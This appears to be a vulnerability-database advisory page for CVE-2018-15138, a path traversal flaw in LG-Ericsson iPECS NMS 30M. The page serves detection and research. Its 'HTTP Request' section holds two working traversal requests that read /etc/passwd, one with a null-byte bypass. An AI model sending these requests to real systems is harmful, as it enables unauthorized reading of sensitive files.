🔙 목록으로 돌아가기

CVE-2018-15138: LG-Ericsson iPECS NMS 30M - Local File Inclusion

TitleLG-Ericsson iPECS NMS 30M - Local File Inclusion
Author0x_Akoko
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to read sensitive files on the target system, potentially leading to unauthorized access or information disclosure.
RemediationApply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
CVSS Score7.5
EPSS Score0.50624
CVE IDCVE-2018-15138
CWE IDCWE-22
Tags cve2018 cve ericsson lfi traversal edb ericssonlg vkev vuln

🔍 Vulnerability Description

Ericsson-LG iPECS NMS 30M allows local file inclusion via ipecs-cm/download?filename=../ URIs.

🌐 HTTP Request

GET /ipecs-cm/download?filename=../../../../../../../../../../etc/passwd&filepath=/home/wms/www/data HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/14.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /ipecs-cm/download?filename=jre-6u13-windows-i586-p.exe&filepath=../../../../../../../../../../etc/passwd%00.jpg HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-15138.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-15138.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A